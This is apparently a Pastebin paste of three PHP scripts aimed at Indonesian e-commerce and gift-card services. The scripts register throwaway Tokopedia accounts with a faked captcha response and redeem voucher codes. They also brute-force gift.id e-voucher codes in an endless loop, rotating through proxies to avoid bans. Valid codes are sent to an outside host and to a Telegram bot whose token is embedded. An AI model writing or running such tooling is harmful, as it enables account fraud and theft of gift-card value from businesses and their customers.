Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function getStr($start, $end, $string) {
- if (!empty($string)) {
- $setring = explode($start,$string);
- $setring = explode($end,$setring[1]);
- return $setring[0];
- }
- }
- function emailcookie(){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "https://www.tempmailaddress.com/");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
- curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__).'/Cookies.txt');
- curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
- $headers = array();
- $headers[] = "Connection: keep-alive";
- $headers[] = "Cache-Control: max-age=0";
- $headers[] = "Upgrade-Insecure-Requests: 1";
- $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36";
- $headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
- $headers[] = "Accept-Encoding: gzip, deflate, br";
- $headers[] = "Accept-Language: en-US,en;q=0.9";
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
- $result = curl_exec($ch);
- }
- function email(){
- emailcookie();
- $fileCookies = file_get_contents(dirname(__FILE__).'/Cookies.txt');
- $Exploder = explode('TMA', $fileCookies);
- $Email = urldecode(trim($Exploder[1]));
- return $Email;
- }
- function regist($email){
- //$url = "https://gql.tokopedia.com/";
- $nama = ucwords(getStr(".","@",$email));
- $nomor = "0857".rand(12345678,99999999);
- $data = '[{"operationName":"UserRegisterMutation","variables":{"type":"email","email":"'.$email.'","fullname":"'.$nama.'","phone":"'.$nomor.'","password":"123456","csrf":"ALnwSc7WE2QHYNHbz6vaCbDKROLbXr9T","gCaptchaResp":"bypass","isHuman":true,"mouseEvent":true,"keyboardEvent":true,"scrollEvent":false},"query":"mutation UserRegisterMutation($type: String, $csrf: String, $email: String, $phone: String, $fullname: String, $password: String, $gCaptchaResp: String, $isHuman: Boolean, $mouseEvent: Boolean, $keyboardEvent: Boolean, $scrollEvent: Boolean) {\n UserRegister(type: $type, csrf: $csrf, email: $email, phone: $phone, fullname: $fullname, password: $password, gCaptchaResp: $gCaptchaResp, isHuman: $isHuman, mouseEvent: $mouseEvent, keyboardEvent: $keyboardEvent, scrollEvent: $scrollEvent) {\n sid\n uid\n isActive\n action\n isSuccess\n errors\n __typename\n }\n}\n"}]';
- $headers = array();
- $headers[] = "Host: gql.tokopedia.com";
- $headers[] = "User-Agent: Mozilla/5.0 (Linux; Android 9.0; Z832 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Mobile Safari/537.36";
- $headers[] = "Accept-Encoding: gzip, deflate, br";
- $headers[] = "Referer: https://m.tokopedia.com/register";
- $headers[] = "content-type: application/json";
- $c = curl_init("https://gql.tokopedia.com/");
- curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($c, CURLOPT_POSTFIELDS, $data);
- curl_setopt($c, CURLOPT_POST, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($c, CURLOPT_HEADER, true);
- curl_setopt($c, CURLOPT_HTTPHEADER, $headers);
- $response = curl_exec($c);
- $httpcode = curl_getinfo($c);
- if (!$httpcode)
- return false;
- else {
- $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- $body = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- }
- return $body;
- }
- function verif(){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "https://www.tempmailaddress.com/email/id/2");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
- curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/Cookies.txt');
- // $headers = array();
- // $headers[] = "Accept-Language: en-US,en;q=0.9";
- // $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36";
- // $headers[] = "Accept: application/json, text/javascript, */*; q=0.01";
- // $headers[] = "Referer: https://www.tempmailaddress.com/";
- // $headers[] = "Connection: keep-alive";
- // curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
- $result = curl_exec($ch);
- return $result;
- }
- function open($link, $cookie){
- //print_r($link);
- $head = explode("\n", 'Host: fapp1.tokopedia.com
- Connection: keep-alive
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
- Referer: http://ocbot-januy.c9users.io/
- Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7');
- $c = curl_init($link);
- curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($c, CURLOPT_HEADER, true);
- curl_setopt($c, CURLOPT_TIMEOUT, 30);
- curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
- curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
- if ($socks):
- curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
- curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
- curl_setopt($c, CURLOPT_PROXY, $socks);
- endif;
- curl_setopt($c, CURLOPT_HTTPHEADER, $head);
- $response = curl_exec($c);
- $httpcode = curl_getinfo($c);
- if (!$httpcode)
- return false;
- else {
- $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- $body = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- }
- return $body;
- }
- function cookieredeem($cookie){
- $head = explode("\n", 'Host: pulsa.tokopedia.com
- Connection: keep-alive
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
- Accept-Language: en-US,en;q=0.9');
- $c = curl_init("https://pulsa.tokopedia.com/gift-card/tokopedia/redeem/");
- curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($c, CURLOPT_HEADER, true);
- curl_setopt($c, CURLOPT_TIMEOUT, 30);
- curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
- curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
- if ($socks):
- curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
- curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
- curl_setopt($c, CURLOPT_PROXY, $socks);
- endif;
- curl_setopt($c, CURLOPT_HTTPHEADER, $head);
- $response = curl_exec($c);
- $httpcode = curl_getinfo($c);
- if (!$httpcode)
- return false;
- else {
- $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- $body = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- }
- $head = explode("\n", 'Host: pulsa.tokopedia.com
- Connection: keep-alive
- Accept: application/json, text/javascript, */*; q=0.01
- X-Requested-With: XMLHttpRequest
- User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
- Referer: https://pulsa.tokopedia.com/gift-card/tokopedia/redeem/
- Accept-Language: en-US,en;q=0.9');
- $c = curl_init();
- curl_setopt($c, CURLOPT_URL, "https://pulsa.tokopedia.com/login/ajax");
- curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($c, CURLOPT_HEADER, true);
- curl_setopt($c, CURLOPT_TIMEOUT, 30);
- curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
- curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
- if ($socks):
- curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
- curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
- curl_setopt($c, CURLOPT_PROXY, $socks);
- endif;
- curl_setopt($c, CURLOPT_HTTPHEADER, $head);
- $response = curl_exec($c);
- $httpcode = curl_getinfo($c);
- if (!$httpcode)
- return false;
- else {
- $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- $body = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- }
- $json = json_decode($body, true);
- $url = $json['authorize_url'];
- $head = explode("\n", 'Host: accounts.tokopedia.com
- Connection: keep-alive
- Accept: application/json, text/javascript, */*; q=0.01
- Origin: https://pulsa.tokopedia.com
- User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
- Referer: https://pulsa.tokopedia.com/gift-card/tokopedia/redeem/
- Accept-Language: en-US,en;q=0.9');
- $c = curl_init();
- curl_setopt($c, CURLOPT_URL, $url);
- curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($c, CURLOPT_HEADER, true);
- curl_setopt($c, CURLOPT_TIMEOUT, 30);
- curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
- curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
- if ($socks):
- curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
- curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
- curl_setopt($c, CURLOPT_PROXY, $socks);
- endif;
- curl_setopt($c, CURLOPT_HTTPHEADER, $head);
- $response = curl_exec($c);
- $httpcode = curl_getinfo($c);
- if (!$httpcode)
- return false;
- else {
- $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- $body = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- }
- $json = json_decode($body, true);
- $url = $json['url'];
- $head = explode("\n", 'Host: pulsa.tokopedia.com
- Connection: keep-alive
- Accept: application/json, text/javascript, */*; q=0.01
- X-Requested-With: XMLHttpRequest
- User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
- Referer: https://pulsa.tokopedia.com/gift-card/tokopedia/redeem/
- Accept-Language: en-US,en;q=0.9');
- $c = curl_init();
- curl_setopt($c, CURLOPT_URL, $url);
- curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($c, CURLOPT_HEADER, true);
- curl_setopt($c, CURLOPT_TIMEOUT, 30);
- curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
- curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
- if ($socks):
- curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
- curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
- curl_setopt($c, CURLOPT_PROXY, $socks);
- endif;
- curl_setopt($c, CURLOPT_HTTPHEADER, $head);
- $response = curl_exec($c);
- $httpcode = curl_getinfo($c);
- if (!$httpcode)
- return false;
- else {
- $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- $body = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- }
- return $body;
- }
- function redeem($cookie, $kode){
- $head = explode("\n", 'Host: pulsa.tokopedia.com
- Connection: keep-alive
- Accept: application/json, text/javascript, */*; q=0.01
- X-Requested-With: XMLHttpRequest
- User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
- Referer: https://pulsa.tokopedia.com/gift-card/tokopedia/redeem/');
- $c = curl_init("https://pulsa.tokopedia.com/gift-card/tokopedia/redeem/check?voucher_code=".$kode);
- curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($c, CURLOPT_HEADER, true);
- curl_setopt($c, CURLOPT_TIMEOUT, 30);
- curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
- curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
- if ($socks):
- curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
- curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
- curl_setopt($c, CURLOPT_PROXY, $socks);
- endif;
- curl_setopt($c, CURLOPT_HTTPHEADER, $head);
- $response = curl_exec($c);
- $httpcode = curl_getinfo($c);
- if (!$httpcode)
- return false;
- else {
- $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- $body = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- }
- return $body;
- }
- //$tada = file_get_contents("tada.txt");
- //$ex = explode("\n", $tada);
- $cookie = tempnam('tmp','avo'.rand(1000000,9999999).'tmp.txt');
- $email = email();
- $reg = regist($email);
- while(true){
- $verif = verif();
- if(strpos($verif,"Tokopedia")) break;
- }
- //die($verif);
- $link = trim(getStr('<td style="padding: 10px 20px;" align="center">
- <a href="',"\n",$verif));
- //echo $link;
- $open = open($link, $cookie);
- $cokredeem= cookieredeem($cookie);
- //echo $cokredeem;
- $ex = explode("\n", "TADAA9W7AA1T1KMU
- TADA739AU54P86AL
- TADA4Q9JUPR86T1H
- TADAAPCF2N7N3CUX
- TADAA66U2R736FJ7
- TADAJ3H5APJ9FL5F");
- for($i=0; $i<count($ex); $i++){
- $a = $i+1;
- $redeem = redeem($cookie, $ex[$i]);
- $json = json_decode($redeem, true);
- $msg = $json['data']['message'];
- $bal = $json['data']['voucher_amount'];
- $format = $bal."|".$msg;
- echo $a.". ".$ex[$i]."|".$format."\n";
- }
- /////////////////////////////////////
- <?php
- function regist($email, $nama, $nomor){
- $data = '[{"operationName":"UserRegisterMutation","variables":{"type":"email","email":"'.$email.'","fullname":"'.$nama.'","phone":"'.$nomor.'","password":"123456","csrf":"ALnwSc7WE2QHYNHbz6vaCbDKROLbXr9T","gCaptchaResp":"bypass","isHuman":true,"mouseEvent":true,"keyboardEvent":true,"scrollEvent":false},"query":"mutation UserRegisterMutation($type: String, $csrf: String, $email: String, $phone: String, $fullname: String, $password: String, $gCaptchaResp: String, $isHuman: Boolean, $mouseEvent: Boolean, $keyboardEvent: Boolean, $scrollEvent: Boolean) {\n UserRegister(type: $type, csrf: $csrf, email: $email, phone: $phone, fullname: $fullname, password: $password, gCaptchaResp: $gCaptchaResp, isHuman: $isHuman, mouseEvent: $mouseEvent, keyboardEvent: $keyboardEvent, scrollEvent: $scrollEvent) {\n sid\n uid\n isActive\n action\n isSuccess\n errors\n __typename\n }\n}\n"}]';
- $headers = array();
- $headers[] = "Host: gql.tokopedia.com";
- $headers[] = "User-Agent: Mozilla/5.0 (Linux; Android 9.0; Z832 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Mobile Safari/537.36";
- $headers[] = "Accept-Encoding: gzip, deflate, br";
- $headers[] = "Referer: https://m.tokopedia.com/register";
- $headers[] = "content-type: application/json";
- $c = curl_init("https://gql.tokopedia.com/");
- curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($c, CURLOPT_POSTFIELDS, $data);
- curl_setopt($c, CURLOPT_POST, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($c, CURLOPT_HEADER, true);
- curl_setopt($c, CURLOPT_HTTPHEADER, $headers);
- $response = curl_exec($c);
- $httpcode = curl_getinfo($c);
- if (!$httpcode)
- return false;
- else {
- $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- $body = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- }
- return $body;
- }
- function cekemail($user){
- $headers = array();
- $headers[] = "Host: tokopedia.com";
- $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36";
- $headers[] = "Referer: https://m.tokopedia.com/register";
- $headers[] = "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
- $c = curl_init();
- curl_setopt($c, CURLOPT_URL, "http://mailnesia.com/mailbox/osyduck");
- curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($c, CURLOPT_HEADER, true);
- curl_setopt($c, CURLOPT_HTTPHEADER, $headers);
- $response = curl_exec($c);
- $httpcode = curl_getinfo($c);
- if (!$httpcode)
- return false;
- else {
- $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- $body = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- }
- //echo $body;
- $kode = explode('" title="Open email">"-" <anukus@mailservices.win></a></td>', $body);
- $kode = explode('<td><a class="email" onClick="return false;" href="', $kode[1]);
- $kode = explode('"', $kode[1]);
- $url = "http://mailnesia.com".$kode[0];
- //print_r($kode);
- curl_setopt($c, CURLOPT_URL, $url);
- $response = curl_exec($c);
- $httpcode = curl_getinfo($c);
- if (!$httpcode)
- return false;
- else {
- $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- $body = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- }
- $link = explode('<a href="http://fapp1.tokopedia.com/', $body);
- print_r($link);
- $link = explode('"', $link[2]);
- $link = "http://fapp1.tokopedia.com/".$link[0];
- //echo $link;
- //
- $link = str_replace(array("\n", "\r\n", "\r", "amp;"), "", $link);
- return $link;
- }
- function verif($link, $cookie){
- //print_r($link);
- $head = explode("\n", 'Host: fapp1.tokopedia.com
- Connection: keep-alive
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
- Referer: http://ocbot-januy.c9users.io/
- Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7');
- $c = curl_init($link);
- curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($c, CURLOPT_HEADER, true);
- curl_setopt($c, CURLOPT_TIMEOUT, 30);
- curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
- curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
- if ($socks):
- curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
- curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
- curl_setopt($c, CURLOPT_PROXY, $socks);
- endif;
- curl_setopt($c, CURLOPT_HTTPHEADER, $head);
- $response = curl_exec($c);
- $httpcode = curl_getinfo($c);
- if (!$httpcode)
- return false;
- else {
- $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- $body = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- }
- return $body;
- }
- function redeem($cookie){
- $head = explode("\n", 'Host: pulsa.tokopedia.com
- Connection: keep-alive
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
- Accept-Language: en-US,en;q=0.9');
- $c = curl_init($link);
- curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($c, CURLOPT_HEADER, true);
- curl_setopt($c, CURLOPT_TIMEOUT, 30);
- curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
- curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
- if ($socks):
- curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
- curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
- curl_setopt($c, CURLOPT_PROXY, $socks);
- endif;
- curl_setopt($c, CURLOPT_HTTPHEADER, $head);
- $response = curl_exec($c);
- $httpcode = curl_getinfo($c);
- if (!$httpcode)
- return false;
- else {
- $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- $body = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- }
- return $body;
- }
- $user = "anukus";
- //$regist = regist("$user@mailservices.win", "Anto", "085325939593");
- //echo $regist;
- $cek = cekemail($user);
- echo $cek;
- $verif = verif($cek, "$user.txt");
- echo $verif;
- //sleep(1);
- //echo redeem("topanuku.txt");
- ////////////////////////////////////////////////////////////////////////////////////
- <?php
- error_reporting(0);
- function rande($length = 7) {
- $characters = '0123456789';
- $charactersLength = strlen($characters);
- $randomString = '';
- for ($i = 0; $i < $length; $i++) {
- $randomString .= $characters[rand(0, $charactersLength - 1)];
- }
- return $randomString;
- }
- function kode($kode, $socks = null){
- $curl = curl_init();
- curl_setopt_array($curl, array(
- CURLOPT_URL => "https://e.gift.id/api/egifts/detail/3261/25359068",
- CURLOPT_RETURNTRANSFER => true,
- CURLOPT_ENCODING => "",
- CURLOPT_MAXREDIRS => 10,
- CURLOPT_TIMEOUT => 30,
- CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
- CURLOPT_CUSTOMREQUEST => "GET",
- CURLOPT_HTTPHEADER => array(
- "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
- "accept-encoding: gzip, deflate, br",
- "accept-language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
- "cache-control: no-cache",
- "cookie: __cfduid=d1612dd53c020baf7c9e280252b76240e1542283759; AWSELB=B7757D8D14F451F1784944891DCB77883AA4290BBB81B9A30F6D4EADA20BC2E7230480FD89683B9E2445E54B4C1505862676CCC94AF1D9023D2F6D8EE8C59604FFC1DB7E25; ms-ga-sess=LBzops7AJW4EYSzKlKCVamaSJ89npIVnZarX23Sgm2y7AOmQW4rurraFEbLzWYieojhuMPnbO3AM4VYXMCxRfeyRcTMMz6Ze4iCI0eEGix6Niz2mkSDCWxmjyclH0UL6MrHal4IAmBelxLMVjhDEcIEByZQ5cqR8hp5NhR9uTgNCcgkgCdTgBHxbLsIUvicvSIMJDc4CxqV6OjMGmH0Evrin2QU0CHiYNEMIqpoKGQdNOLkZJlUYb8cSA3Z3geEo",
- "postman-token: 9d8e9172-f333-0d88-d548-da5d91b577a4",
- "upgrade-insecure-requests: 1",
- "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
- ),
- ));
- $response = curl_exec($curl);
- $err = curl_error($curl);
- $json = json_decode($response, true);
- print_r($json);
- $url = "https://e.gift.id/u/".$json['code'];
- $bal = $json['amount'];
- $voc = $json['egift_external']['number'];
- $format = $bal."|".$voc."|".$url;
- $janu = file_get_contents("https://api.telegram.org/bot715108836:AAHk0g6zwsf_qXSqNyrI-UJI91aR8W3JA2I/sendMessage?chat_id=421000460&parse_mode=html&text=Success: ".$format);
- return $format;
- }
- function cek($kode, $socks = null){
- $head = explode("\n", 'Host: api.gift.id
- Connection: keep-alive
- Accept: application/json, text/plain, */*
- Origin: https://e.gift.id
- Authorization: Basic VHRSczgwU2dEd0VjSVpMdnliZGRYS2RmaTpJWFVseHQ1cEdjNUZVRXZKY1JNdnpiTUFHanRHNk5nU0tYZm16SzBiUE1iVjhjcGVPUQ==
- User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
- Content-Type: application/json;charset=UTF-8
- Referer: https://e.gift.id/u/83ubn9vskyi46
- Accept-Language: en-US,en;q=0.9');
- $c = curl_init("https://api.gift.id/v1/egifts/msite_redemption/8346/".$kode);
- curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($c, CURLOPT_POSTFIELDS, '{"terminalId":"external"}');
- curl_setopt($c, CURLOPT_POST, true);
- curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($c, CURLOPT_HEADER, true);
- curl_setopt($c, CURLOPT_TIMEOUT, 30);
- curl_setopt($c, CURLOPT_COOKIEJAR, dirname(__FILE__) . "/cookie.txt");
- curl_setopt($c, CURLOPT_COOKIEFILE, dirname(__FILE__) . "/cookie.txt");
- if ($socks):
- curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
- curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
- curl_setopt($c, CURLOPT_PROXY, $socks);
- endif;
- curl_setopt($c, CURLOPT_HTTPHEADER, $head);
- $response = curl_exec($c);
- $httpcode = curl_getinfo($c);
- if (!$httpcode)
- return false;
- else {
- $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- $body = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
- }
- //echo $body;
- $json = json_decode($body);
- if($json->message == "eVoucher not found or expired"){
- $janu = file_get_contents("https://ocbot-januy.c9users.io/tada/save.php?type=die&voc=".$kode);
- return "Bad";
- }else if($json->message == "eVoucher is already used"){
- return "Used";
- }else if(preg_match('/The owner of this website (api.gift.id) has banned your IP address/', $body)){
- return "Banned";
- }else if($body == null){
- return curl_error($c)." Error";
- }elseif(preg_match("/replyCardNo/", $body)){
- $janu = file_get_contents("https://ocbot-januy.c9users.io/tada/save.php?type=live&voc=".$kode);
- $cek = kode($kode, "");
- return "Maybe Live?|".$cek;
- echo $body;
- }else{
- return "Unknown";
- }
- }
- $i = 1;
- $tt = true;
- while($tt == true){
- $kode = "2".rande(7);
- if(preg_match("/$kode/", file_get_contents("https://ocbot-januy.c9users.io/tada/die.txt"))){
- echo $i.". ".$kode." ! SKIP\n";
- $i = $i+1;
- }else{
- $status = cek($kode, "");
- echo $i.". ".$kode." ! ".$status."\n";
- $i = $i+1;
- if(preg_match("/Maybe Live?/", $status)){
- //$tt = false;
- }
- sleep(2);
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement